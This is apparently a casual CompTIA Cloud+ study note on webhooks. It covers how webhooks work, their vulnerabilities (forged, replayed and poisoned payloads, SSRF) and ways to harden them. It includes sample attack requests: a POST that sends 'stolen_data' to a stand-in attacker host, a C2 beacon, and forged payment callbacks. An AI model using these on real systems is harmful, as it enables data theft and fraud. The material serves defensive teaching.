author: 51n5337 & #Dab
mission: CompTIA Cloud+ Certification
brief: Webhooks - The Digital Doorbells and How They Get Exploited.

Webhooks: The Digital Doorbells & Attack Vectors 🔔⚡

“Webhooks are like giving someone your phone number and saying ‘call me when something interesting happens.’ The problem? Scammers love phone numbers too.”

What Actually ARE Webhooks? 🤔

The Mental Model: Callbacks for the Web

API POLLING: 
"Hey, did anything happen? How about now? Now? Now?"
→ You constantly asking for updates

WEBHOOKS:
"Call me when something happens" 
→ Service calls YOU when there's news

Technical Reality:

# Your app gives a URL to another service
"Hey Payment Processor, here's my URL: https://myapp.com/webhooks/payments"
"Call this URL whenever a payment completes"

# Payment Processor later POSTs to your URL:
POST https://myapp.com/webhooks/payments
{
  "event": "payment.completed",
  "data": {
    "amount": 45.50,
    "customer": "john@email.com"
  }
}

Webhooks in the Wild: Legitimate Uses 🌱

Stellar Café Examples:

# Payment processing
Stripe → "Payment succeeded" → Café backend

# Order tracking  
Shipping API → "Package delivered" → Café app

# Inventory management
Supplier API → "Restock completed" → Café inventory system

# CI/CD pipelines
GitHub → "Code pushed" → Jenkins build server

The Efficiency Gain:

# Without webhooks:
- Check for new payments every 5 minutes
- 288 API calls per day per customer
- Delay in processing

# With webhooks:
- Instant notification
- One HTTP call per event
- Real-time processing

The Security Tension: Trusting External Callers 🤝🔓

The Fundamental Problem:

# You're telling strangers: "Here's my internal URL, call me anytime"
# Hope: "Only my trusted partner will call"
# Reality: "Anyone can call if they find the URL"

Common Webhook Vulnerabilities 🎯

1. Unauthenticated Webhooks

# Bad: Anyone can send fake payment confirmations
POST /webhooks/payments
{"event": "payment.completed", "amount": 1000}

# Your system: "Sweet, free money!" 💸

2. IP Whitelisting Bypass

# "We only accept webhooks from Stripe's IP range"
# Attacker: Finds Stripe server with SSRF vulnerability
# Now attacker can call your webhook FROM Stripe's IP

3. Replay Attacks

# Attacker intercepts legitimate webhook
# Replays it 100 times
# Your system: Processes 100 payments instead of 1

4. Schema Poisoning

# Your webhook expects:
{"event": "payment.completed", "amount": 50}

# Attacker sends:
{"event": "payment.completed", "amount": -1000}
# Your system: "Negative payment? Must be a refund!" 💸

Webhooks in Pentesting & Malicious Use 🎭⚔️

Attack Tool: Data Exfiltration

# Attacker compromises a system
# Sets up webhook on their controlled server
# Sends sensitive data via webhook callbacks

# Example: 
POST https://attacker-server.com/exfil
{
  "stolen_data": "database contents",
  "source": "compromised-app.internal"
}

Attack Tool: C2 Communication (Command & Control)

# Malware phones home via webhooks
POST https://legitimate-looking-service.com/api/callback
{
  "device_id": "workstation-123",
  "status": "ready_for_commands",
  "encrypted_payload": "base64_commands"
}

# Blends with normal traffic, hard to detect

Attack Vector: SSRF Amplification

# Attacker finds SSRF vulnerability
# Uses it to call internal webhooks
# Now they can trigger internal business logic

# Example: Internal inventory webhook that creates purchase orders

Stellar Café Webhook Nightmare ☕👻

The Setup:

# Café uses payment processor webhooks
POST https://cafe.internal/orders/payment-callback
Authorization: Bearer secret_token_here

# Webhook processes:
- Mark order as paid
- Trigger coffee preparation
- Notify customer
- Update inventory

The Attack:

# Attacker finds webhook URL (logs, GitHub, etc.)
# Sends crafted request:
POST https://cafe.internal/orders/payment-callback
Authorization: Bearer secret_token_here
{
  "order_id": "123",
  "status": "paid", 
  "amount": 0.01,
  "items": [
    {"product": "premium_coffee_beans", "quantity": 1000}
  ]
}

# Result: 
- 1000 bags of premium beans "sold" for $0.01
- Inventory automatically depleted
- Café loses thousands in inventory

Webhook Security Hardening 🛡️🔒

1. Signature Verification

# Payment provider signs webhook payload with secret
# You verify the signature before processing

HEADER: X-Signature: sha256=abc123...
# Your code verifies this matches your computed hash

2. Idempotency Keys

# Each webhook has unique ID
# Prevent replay attacks by tracking processed IDs

{"event_id": "evt_123", "idempotency_key": "key_456"}

3. Input Validation & Schema Enforcement

# Validate EVERY field
- Amount must be positive
- Order ID must exist in database
- Customer email must be valid format

4. Webhook-specific Authentication

# Don't reuse API tokens
# Webhook-specific secrets with limited permissions

5. Rate Limiting & Monitoring

# Track webhook frequency
# Alert on unusual patterns
# Block suspicious source IPs

#Dab’s Webhook Reality Check 🌿💣

“Webhooks are like giving out your home address—convenient for deliveries, dangerous if the wrong people get it.”

“The convenience of ‘push’ notifications comes with the risk of ‘push’ attacks. Every webhook is a potential entry point.”

“Bad actors love webhooks because they bypass traditional security boundaries. Your WAF won’t stop a ‘legitimate’ webhook call from a compromised partner.”

“Webhook security isn’t optional—it’s your digital front door. Lock it or get robbed.”

“Remember: Trust no one. Verify everything. Even ‘trusted’ partners get compromised.”

Bottom line: Webhooks are powerful but dangerous. They blur the line between internal and external systems, creating attack vectors that traditional security often misses.

Treat every webhook like a stranger ringing your doorbell at 3 AM—verify before you open. 🔔🚨

Back to building secure systems? 🏗️🔒 Yes, take me back to DevOps

>dr.kb< multiverse

grab a bowl ... 🌿🍯🔥💨